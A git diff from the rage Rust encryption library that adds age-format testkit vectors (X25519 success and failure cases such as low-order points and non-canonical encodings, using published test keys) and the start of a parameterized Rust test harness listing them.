z3IxDn5RqMRSCy{7x87}~#mc|0?s_07bNt0Jy-5ItMXrt~U1o1L?=rfKBh(=Abrb%~ zA-~@ULJ!;H*a_jci7Ej(g6#)_`{i+g=+K79_q(LPeSCR-hDT>9aeU`YQ0_(-FM-Jx z?0Qr9(M8C@{nhAwhR2ENHq=|-b@HbCb1fQ^sK;3@3%^PRgf5~w0h6IZ8xU41SzkJH zj>yVNTqs_C$l*@%yYjPPC+%W+k6Ie%fF?0fO2fmpd{09rtsWXUyA+P8acT%yXBzXx zSaiA%aw|e5NTjU>7WB(uzf*H$upUe^cBn$obhoqf)Le1f_>B-RFDfl!oB&onL}TXp zM28|6BWM{1^N$Sgu7$Vbq(Z$0UtaDROVhxl;{DhFFZt6;tIN4|*)3-Pek0+m9sz+i zyd~jQ8n#?46~a~41+6S#sAWhAWY=)2v0bqcY3e&z^DBnf+UwYjftIXu-aEx@7`o0O z8gkS*gzhg}`gP(s*n65^JFIJBVO!AGE#rT^u;xlZX$JyzrKMmGYS6w6(c#ArhR3`X zMd@?3+T5Pu1P1!g)|DA?KpreL@$AxG9vMP7_iFaQ>=%%8BD8O^w`mEgZ8&BIHoeH) z#%nA2p`>grdY{WGviS9`SskO%(cVfRurqdjIDoFu=$&#ABx&UPOWIupD+{mj6ynT) z^BP*o!UHS>yAi-4c-L^LYcUto=jgHT!{?q6;~^K4yj}+CX^-@J8>|>wLbh9x`ymt# z6dj%ZupKh2B9%FUnT(w{3`>i~Y!5FstT|jks}U`O#m->RE4=UbpGoT!unI!G-kRlp zo%|TycP+_nxu}xW=#@g40HE*rN7-^)$j(x}B>-rTS_oM49vutXgb2n5omg`4;ijhH z960yM^!CwDxJq}O^2+gCsD)B?l29X>Au?%dM)|C}L%Bpv@&3@S=I|%rf8z%MHMF>$ zsO4%4P3R$kbhepOo%O@0V?CG;aQ(DHE|yTXM;59s_Jc~tMH3Cwb{2<{9HiSzct0G! z8mDO6D+#!{=7`{$=u9+lYdbome^q>q0AKhcf@rUOjG&wC>KviiJfV*QR3;W*ApT)a zqtMY&$6!I@w36!DA_hV3@gt7?DB@8aPyRfdR>uAbaa4&K63bBkJ@7C^|z8P^kD`r!LB zt$vM%L>74(wZjYG!?Tr_N1vti;3z^y$C~&HBC6Q#(DRWf9aE-KRnS|VE{>}uN{Wc^ z={OuGp}j|60lu58AfcBAg(b4j1GzD;R9k*JTQ{-W(8;E1CzV)brY(2RCm`c-7mPL6>z6bMnNN4fv$GJX2?0`9C9Aw0gJ6 z!6SwJI*vZ_IaL^mHQoMw9_X(N*nE+-T1>u(J`s`v5;~H5{zHHh4L2&Kh0yb?s93Wu zjO6yfJ|*X(VjUOfpuH-52nDZHEkS`$si=nW3nzZL1dogdTf&! zzzAhk_>MP_7y7_n^ON~AIim3X?>;zmOtLzl1e9nTy_1urR7(eokQpN#fB!Ibv7&^D zS0Ta8OHgUL))dSa!LxUfOUn)Rl9yYe-hnQ_{In?IzY{*2#?7q;;bkZ1%k{aNdKEGy z7oc%Q}9>nWs1sNE~!i|`aWof+g~)Md1NNhz15jGv^yfI{ixly8DZW^ zDe06}GOSqZKje2WP)1VJ>%mQdeqes*thsPbA=dF6fHa&!#mG6oBF-<2ddh9e&;RXC zLJ3Wf$A{t4`u`eaN|!;}NQ?W}GFmhJK-TEjIPrQ1?az9AsQ1(A4f=0;a)unV)O$nC z5SV@fBphDXi_>J}yG{jL7_k0EXj)a;jS4pp-&yfNgv`ac4wdXldr%>RjC)Gbcc`fb zy^8A=2EViTi9u30#45GiyK!qv?4Aij#OFss+McytHfcsuvh#$1ms5!SDsaI@UYGJ< zfG;9*z+oy+5^NxIe@Y?4-ZNCLptlGNO>)OPQS2^Ay8E&7-&ysa+hpab zuEJ#wHj@8{v^PwM+y=gV29x7R_|%e|Y$weB?5feay8^K6_%xPiQkZ$K@31`wUKoh9 z1jA(;Um!Zjz2<&^1H;%38jEYHOH3h;^iWEZbVC_q;@-=G#O5mH7yxz@G?Of4Zrvwa z=-h|X_p)R*SU$#Q3r$0kPck(G=Cg~vAr4EE{hN812C+Qy*n>~b%j0pBdW9BK??|aO zT-B$v=nVWYB72ggIlb82OL%h%OFyO(K4DrZI>qg@)7pS2uT?;&rj)3vT^ezH3CQ(6 z-~9KS=*F2ngd$t!8tS5qYRd zZjkS2p!@`toK{_kZLf~!7-%cOd7-L7qwm_Gpuf*`glsxc+t!q{U9tHwn^pIe%Q!T1 zyma0)hUJ!8FcAgxhYeZ3Pzk4xYYyi99&mB;g+HPI7K6&nayTz)+0;+zn@ApjKPUia z8K+5!46Vi91SW0a%Efg%x@f7#Mu+C7DQg}t>MJEh!5sMS)@Ahr<^zKj);bNNCG@*J z&JZEA{dR}p9E%m-H8Bya5xPxpq9{|l5twW01~XSmV9G9Srb}v9@!JdTV5DCQoq3A` zg!7|U@dKx`AHW)eCL&I=Ld0X+bb>WDeLb>9OZW>8QIRvIJ?7^}uCCssE?7Kv(Y9if z6jPBsQvYYX27}VuO^mE&rT;azNeW{809OO4slnXG*xG+580X)a$&DsfFAAKot`GT8 zu@ii+vN@g!J)?)o9J4Dy%MRNcdu#eB&Lzpq*s*XZhtgmpk7>m;_5EnNt|5v-W<7$3 zN}Vo6Z`x%=ub_1sQHL*?9O~uVo7EW0>px(8gO$KzdL;H0js?YSD<=B~do+Dx($I_W zDJ#`QjTK-ZBj}IhtpYZn05~5tWj(6?7WIduAPDsm$d&RA(T9Y=CQ|_k=cNAx zeV!R2pAvJo?v?5=dbgHo8ifY#P@vw{B}Vq>G~ss80vH+2Vz9O8 z)NEi@?(tLFn?U1#p{^=ilm+)vtdz8FcG zoN>0k{JVmuv;_V_fggbO-(k>MO3rdj0u&u%Sli$hH-}vNb%-r6uA$Ka{T?$?5qV~t zI!t1XNyqq_A|w&}{q!9eD$L}+t$=@{dX*}SG5SW7aqhU_M}TS+9^7*1pGG&OQE?xA zLm}78FFm-cMVEn(gKB2taO4<&T(ZdQ(3iy_ewzQE@2gs%jpMX#AO zFD(k1zE3-De2b_GiI`4tQ1jIj4!lN!)!b^e1W716<+?EbDVQn2S&!NlS8q{Bf}CXr z9DY*_lwd`+)C`}RLRYXk^w60OlNYC!RH%|EPkD+Fzy5I0El($w>>nA0y*>LL-~qols?*@9TBxZu&?@Krv0#&driv>uVNR$Iyf1$)}Z${1kU`*wc77mR`T>w-~qf!41+W!*b9kqqQz^yj&$f}}x zGhc;Sq>oDx-)7mof&Mx{(1Ra(AHDmcnCk!J-<|`;z{+vA)pSqy95c12d5JYfOL z#V_ED|FClRe5LPyWzo5)vF~C=xW}aELVAdaaE^%_QD32~*+fUUV>O+4NJ9V!lf{s9mN@KG;VI|tUO`r=8TF9*v8!SMhu za*GKa>a5?=o9b%j*Xa$#P*k8Ki}7F9Z)*2yrbaxMp6|OSt4Sd$bgT-il=%u=L%wp@ z6KNgyk|`9B4L+?0{GDSeA0STff@8rVsTU@-cL&pfQCTWOAb-xsrA#jp|DmQ_*J& z1v2$!#Tq*fTvyLvpbibL0|`(xc=PoK9(m6>{uf6#RNjV;09zK!x~=Lzl(INaF zaY4#}yx>=J+GD0T==2 z{uTqtiyeC!9O;mXC-0(Q$Dk3s9_#r3km8=S7+@Sb?v>#0>BeJiQV@Rj)MFPM*^B@GnMxg8??44r~R2>j< zJBio;qO+xirRR^8Tb#6F?SCK`6yior0Hd&znu;5u3!{c!@xRbAuI`PUo=khxH8)o$ z1rlWDpw#u|4leO)1ko>-UlT%{&fQ(pU>&d6gj7jaz>^HFp4|;J#gB5mqL=qok@}lx YEdO1_F-j?=Oz*EAz|&asU7T literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/version_unsupported b/lib/rage/age/tests/testdata/testkit/version_unsupported new file mode 100644 index 0000000..e7a7ddf --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/version_unsupported @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1234 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- 38AL8Mr4VwmS6CNbM4bc7u3WwGBDqsMTRHOuYJ9ckqs +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519 b/lib/rage/age/tests/testdata/testkit/x25519 new file mode 100644 index 0000000..c7bb509 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519 @@ -0,0 +1,10 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_bad_tag b/lib/rage/age/tests/testdata/testkit/x25519_bad_tag new file mode 100644 index 0000000..13c7c70 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_bad_tag @@ -0,0 +1,10 @@ +expect: no match +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: the ChaCha20Poly1305 authentication tag on the body of the X25519 stanza is wrong + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw0o +--- tG0k9bg4iIuBdMWb13n7FFYDzoBbtsLppNLhbh22aKg +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_extra_argument b/lib/rage/age/tests/testdata/testkit/x25519_extra_argument new file mode 100644 index 0000000..198389b --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_extra_argument @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: the base64 encoding of the share is not canonical + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc 1234 +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- hQQySEUXL8pOuIOuw0qXzi66RphDJP9IKMNEChNJIPk +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_grease b/lib/rage/age/tests/testdata/testkit/x25519_grease new file mode 100644 index 0000000..aa212d9 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_grease @@ -0,0 +1,14 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> grease + +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> grease + +--- 7NLrfbRUZt6qK0pdtARUf59dHwo12ReldjJKjMlbE3I +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_identity b/lib/rage/age/tests/testdata/testkit/x25519_identity new file mode 100644 index 0000000..eb254e7 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_identity @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: the X25519 share is a low-order point, so the shared secret is the disallowed all-zero value + +age-encryption.org/v1 +-> X25519 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +W3E/OCRme9TiTY97JoK31Z71arNur77WIIdB90XnN3M +--- Pne3IPMDvBj7wRbPMcNViffpVZAx814tgMxp8AwyMhs +¬]?7åPqÓ¦ F—¹ •Â÷õÛ®è zŒ(rŠóÎ| \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_long_file_key b/lib/rage/age/tests/testdata/testkit/x25519_long_file_key new file mode 100644 index 0000000..30dc440 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_long_file_key @@ -0,0 +1,10 @@ +expect: header failure +file key: 41204c4f4e4745522059454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: the file key must be checked to be 16 bytes before decrypting it + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +nlObGn0CSA4pxiaG3W6nLlaFFuHmqW+bFC6sJmbsJ9yFesgSok1K0AI +--- C49Jo3+j4I6jWB2tldSs1jVAXbv0mOTAnwdT+5vOiBg +îÏbÇΑ´3'NhÔòùLc÷(­çñ ÐtÿÇP²)€x1 \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_long_share b/lib/rage/age/tests/testdata/testkit/x25519_long_share new file mode 100644 index 0000000..a2f3a04 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_long_share @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: a trailing zero is missing from the X25519 share + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCcA +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- QbEwdWirchS37UUOPh7uVddRiOaWjFwRUpaQ4Q+Z1RE +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_low_order b/lib/rage/age/tests/testdata/testkit/x25519_low_order new file mode 100644 index 0000000..f528a0d --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_low_order @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: the X25519 share is a low-order point, so the shared secretis the disallowed all-zero value + +age-encryption.org/v1 +-> X25519 X5yVvKNQjCSx0LFVnIPvWwREXMRYHI6G2CJO3dCfEdc +3E0NpFans/m0WLWF7+54ZBdNj3iqQqpraGDFiaRkvBA +--- sXw327YMT1/ULXe+ZyRMbMY0Z2jnWHGgI9j1we6yQ8A +¬]?7åPqÓ¦ F—¹ •Â÷õÛ®è zŒ(rŠóÎ| \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_lowercase b/lib/rage/age/tests/testdata/testkit/x25519_lowercase new file mode 100644 index 0000000..3eeb8bc --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_lowercase @@ -0,0 +1,10 @@ +expect: no match +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: the first argument in the X25519 stanza is lowercase + +age-encryption.org/v1 +-> x25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- SwXKO3dXLh9l5QiSgMWgPhCkwstT8oB4jLDv7aBgC+c +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_multiple_recipients b/lib/rage/age/tests/testdata/testkit/x25519_multiple_recipients new file mode 100644 index 0000000..27c772c --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_multiple_recipients @@ -0,0 +1,12 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 ajtqAvDEkVNr2B7zUOtq2mAQXDSBlNrVAuM/dKb5sT4 +0evrK/HQXVsQ4YaDe+659l5OQzvAzD2ytLGHQLQiqxg +-> X25519 0qC7u6AbLxuwnM8tPFOWVtWZn/ZZe7z7gcsP5kgA0FI +T/PZg76MmVt2IaLntrxppzDnzeFDYHsHFcnTnhbRLQ8 +--- 7W07ef2PhsTAl74pn+9vSj/Xzukwa6SuTqMc16cdBk0 +ð¸¾5TB9™ ­€„–Ko•Ãm³^OYØøž<òo-¥B \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_no_match b/lib/rage/age/tests/testdata/testkit/x25519_no_match new file mode 100644 index 0000000..1bf961f --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_no_match @@ -0,0 +1,9 @@ +expect: no match +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-143WN7DCXU4G8R5AXQSSYD9AEPYDNT3HXSLWSPK36CDU6E8M59SSSAGZ3KG + +age-encryption.org/v1 +-> X25519 ajtqAvDEkVNr2B7zUOtq2mAQXDSBlNrVAuM/dKb5sT4 +HUKtz0R2j5Bl2ER7HhAZrURikCFpiIjNa0KjHcjbAGU +--- rrpTlvKEKrK3EqhoOPJeP1KE8O1d2arrRez77mwekRc +ÝßrÐo¼«Wß= 1$–­!Œ×ýo€x»ø-ØyG^·½^ˆ \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_body b/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_body new file mode 100644 index 0000000..11138db --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_body @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: the base64 encoding of the share is not canonical + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7V +--- eSjjCjQyp30yHDPwCztKS+1txs+aoCa5ERz8jeEp+9A +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_share b/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_share new file mode 100644 index 0000000..0b2a08d --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_share @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: the base64 encoding of the share is not canonical + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCd +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- AO6haEGU6BGJ8Tzeqnr2fSLEo31JrWodGtZuCZmijI8 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_short_share b/lib/rage/age/tests/testdata/testkit/x25519_short_share new file mode 100644 index 0000000..7feb27e --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_short_share @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: a trailing zero is missing from the X25519 share + +age-encryption.org/v1 +-> X25519 l7o4oTX9X5E3/KODa/7CQ0CrA9fKMWsm9IJjYzSlJg +yUGP5aPob6YJ+vzRfBtDT9D1K/wmyheZE/Xl/mDSKA4 +--- Zn1/VRtHpD93HtIXSv1S++POXeKcQF7w1+hpXhMiAbk +¬]?7åPqÓ¦ F—¹ •Â÷õÛ®è zŒ(rŠóÎ| \ No newline at end of file diff --git a/lib/rage/age/tests/testkit.rs b/lib/rage/age/tests/testkit.rs new file mode 100644 index 0000000..d169087 --- /dev/null +++ b/lib/rage/age/tests/testkit.rs @@ -0,0 +1,810 @@ +use std::{ + fs::File, + io::{self, BufRead, BufReader, Read}, + str::FromStr, +}; + +use age::{ + armor::{ArmoredReadError, ArmoredReader}, + scrypt, + secrecy::SecretString, + x25519, DecryptError, Decryptor, Identity, +}; +use futures::AsyncReadExt; +use sha2::{Digest, Sha256}; +use test_case::test_case; + +#[test_case("armor")] +#[test_case("armor_crlf")] +#[test_case("armor_empty_line_begin")] +#[test_case("armor_empty_line_end")] +#[test_case("armor_eol_between_padding")] +#[test_case("armor_full_last_line")] +#[test_case("armor_garbage_encoded")] +#[test_case("armor_garbage_leading")] +#[test_case("armor_garbage_trailing")] +#[test_case("armor_header_crlf")] +#[test_case("armor_headers")] +#[test_case("armor_invalid_character_header")] +#[test_case("armor_invalid_character_payload")] +#[test_case("armor_long_line")] +#[test_case("armor_lowercase")] +#[test_case("armor_no_end_line")] +#[test_case("armor_no_eol")] +#[test_case("armor_no_match")] +#[test_case("armor_no_padding")] +#[test_case("armor_not_canonical")] +#[test_case("armor_pgp_checksum")] +#[test_case("armor_short_line")] +#[test_case("armor_whitespace_begin")] +#[test_case("armor_whitespace_end")] +#[test_case("armor_whitespace_eol")] +#[test_case("armor_whitespace_last_line")] +#[test_case("armor_whitespace_line_start")] +#[test_case("armor_whitespace_outside")] +#[test_case("armor_wrong_type")] +#[test_case("header_crlf")] +#[test_case("hmac_bad")] +#[test_case("hmac_extra_space")] +#[test_case("hmac_garbage")] +#[test_case("hmac_missing")] +#[test_case("hmac_no_space")] +#[test_case("hmac_not_canonical")] +#[test_case("hmac_trailing_space")] +#[test_case("hmac_truncated")] +#[test_case("scrypt")] +#[test_case("scrypt_and_x25519")] +#[test_case("scrypt_bad_tag")] +#[test_case("scrypt_double")] +#[test_case("scrypt_extra_argument")] +#[test_case("scrypt_long_file_key")] +#[test_case("scrypt_no_match")] +#[test_case("scrypt_not_canonical_body")] +#[test_case("scrypt_not_canonical_salt")] +#[test_case("scrypt_salt_long")] +#[test_case("scrypt_salt_missing")] +#[test_case("scrypt_salt_short")] +#[test_case("scrypt_uppercase")] +#[test_case("scrypt_work_factor_23")] +#[test_case("scrypt_work_factor_hex")] +#[test_case("scrypt_work_factor_leading_garbage")] +#[test_case("scrypt_work_factor_leading_plus")] +#[test_case("scrypt_work_factor_leading_zero_decimal")] +#[test_case("scrypt_work_factor_leading_zero_octal")] +#[test_case("scrypt_work_factor_missing")] +#[test_case("scrypt_work_factor_negative")] +#[test_case("scrypt_work_factor_overflow")] +#[test_case("scrypt_work_factor_trailing_garbage")] +#[test_case("scrypt_work_factor_wrong")] +#[test_case("scrypt_work_factor_zero")] +#[test_case("stanza_bad_start")] +#[test_case("stanza_base64_padding")] +#[test_case("stanza_empty_argument")] +#[test_case("stanza_empty_body")] +#[test_case("stanza_empty_last_line")] +#[test_case("stanza_invalid_character")] +#[test_case("stanza_long_line")] +#[test_case("stanza_missing_body")] +#[test_case("stanza_missing_final_line")] +#[test_case("stanza_multiple_short_lines")] +#[test_case("stanza_no_arguments")] +#[test_case("stanza_not_canonical")] +#[test_case("stanza_spurious_cr")] +#[test_case("stanza_valid_characters")] +#[test_case("stream_bad_tag")] +#[test_case("stream_bad_tag_second_chunk")] +#[test_case("stream_bad_tag_second_chunk_full")] +#[test_case("stream_empty_payload")] +#[test_case("stream_last_chunk_empty")] +#[test_case("stream_last_chunk_full")] +#[test_case("stream_last_chunk_full_second")] +#[test_case("stream_missing_tag")] +#[test_case("stream_no_chunks")] +#[test_case("stream_no_final")] +#[test_case("stream_no_final_full")] +#[test_case("stream_no_final_two_chunks")] +#[test_case("stream_no_final_two_chunks_full")] +#[test_case("stream_no_nonce")] +#[test_case("stream_short_chunk")] +#[test_case("stream_short_nonce")] +#[test_case("stream_short_second_chunk")] +#[test_case("stream_three_chunks")] +#[test_case("stream_trailing_garbage_long")] +#[test_case("stream_trailing_garbage_short")] +#[test_case("stream_two_chunks")] +#[test_case("stream_two_final_chunks")] +#[test_case("version_unsupported")] +#[test_case("x25519")] +#[test_case("x25519_bad_tag")] +#[test_case("x25519_extra_argument")] +#[test_case("x25519_grease")] +#[test_case("x25519_identity")] +#[test_case("x25519_long_file_key")] +#[test_case("x25519_long_share")] +#[test_case("x25519_lowercase")] +#[test_case("x25519_low_order")] +#[test_case("x25519_multiple_recipients")] +#[test_case("x25519_no_match")] +#[test_case("x25519_not_canonical_body")] +#[test_case("x25519_not_canonical_share")] +#[test_case("x25519_short_share")] +fn testkit(filename: &str) { + let testfile = TestFile::parse(filename); + let comment = format_testkit_comment(&testfile); + + match Decryptor::new(ArmoredReader::new(&testfile.age_file[..])).and_then(|d| { + if !d.is_scrypt() { + let identities = get_testkit_identities(filename, &testfile); + d.decrypt(identities.iter().map(|i| i as &dyn Identity)) + } else { + let passphrase = get_testkit_passphrase(&testfile, &comment); + let mut identity = scrypt::Identity::new(passphrase); + identity.set_max_work_factor(16); + d.decrypt(Some(&identity as _).into_iter()) + } + }) { + Ok(mut r) => { + let mut payload = vec![]; + let res = r.read_to_end(&mut payload); + check_decrypt_success(filename, testfile, &comment, res, &payload); + } + Err(e) => check_decrypt_error(filename, testfile, e), + } +} + +#[test_case("armor")] +#[test_case("armor_crlf")] +#[test_case("armor_empty_line_begin")] +#[test_case("armor_empty_line_end")] +#[test_case("armor_eol_between_padding")] +#[test_case("armor_full_last_line")] +#[test_case("armor_garbage_encoded")] +#[test_case("armor_garbage_leading")] +#[test_case("armor_garbage_trailing")] +#[test_case("armor_header_crlf")] +#[test_case("armor_headers")] +#[test_case("armor_invalid_character_header")] +#[test_case("armor_invalid_character_payload")] +#[test_case("armor_long_line")] +#[test_case("armor_lowercase")] +#[test_case("armor_no_end_line")] +#[test_case("armor_no_eol")] +#[test_case("armor_no_match")] +#[test_case("armor_no_padding")] +#[test_case("armor_not_canonical")] +#[test_case("armor_pgp_checksum")] +#[test_case("armor_short_line")] +#[test_case("armor_whitespace_begin")] +#[test_case("armor_whitespace_end")] +#[test_case("armor_whitespace_eol")] +#[test_case("armor_whitespace_last_line")] +#[test_case("armor_whitespace_line_start")] +#[test_case("armor_whitespace_outside")] +#[test_case("armor_wrong_type")] +#[test_case("header_crlf")] +#[test_case("hmac_bad")] +#[test_case("hmac_extra_space")] +#[test_case("hmac_garbage")] +#[test_case("hmac_missing")] +#[test_case("hmac_no_space")] +#[test_case("hmac_not_canonical")] +#[test_case("hmac_trailing_space")] +#[test_case("hmac_truncated")] +#[test_case("scrypt")] +#[test_case("scrypt_and_x25519")] +#[test_case("scrypt_bad_tag")] +#[test_case("scrypt_double")] +#[test_case("scrypt_extra_argument")] +#[test_case("scrypt_long_file_key")] +#[test_case("scrypt_no_match")] +#[test_case("scrypt_not_canonical_body")] +#[test_case("scrypt_not_canonical_salt")] +#[test_case("scrypt_salt_long")] +#[test_case("scrypt_salt_missing")] +#[test_case("scrypt_salt_short")] +#[test_case("scrypt_uppercase")] +#[test_case("scrypt_work_factor_23")] +#[test_case("scrypt_work_factor_hex")] +#[test_case("scrypt_work_factor_leading_garbage")] +#[test_case("scrypt_work_factor_leading_plus")] +#[test_case("scrypt_work_factor_leading_zero_decimal")] +#[test_case("scrypt_work_factor_leading_zero_octal")] +#[test_case("scrypt_work_factor_missing")] +#[test_case("scrypt_work_factor_negative")] +#[test_case("scrypt_work_factor_overflow")] +#[test_case("scrypt_work_factor_trailing_garbage")] +#[test_case("scrypt_work_factor_wrong")] +#[test_case("scrypt_work_factor_zero")] +#[test_case("stanza_bad_start")] +#[test_case("stanza_base64_padding")] +#[test_case("stanza_empty_argument")] +#[test_case("stanza_empty_body")] +#[test_case("stanza_empty_last_line")] +#[test_case("stanza_invalid_character")] +#[test_case("stanza_long_line")] 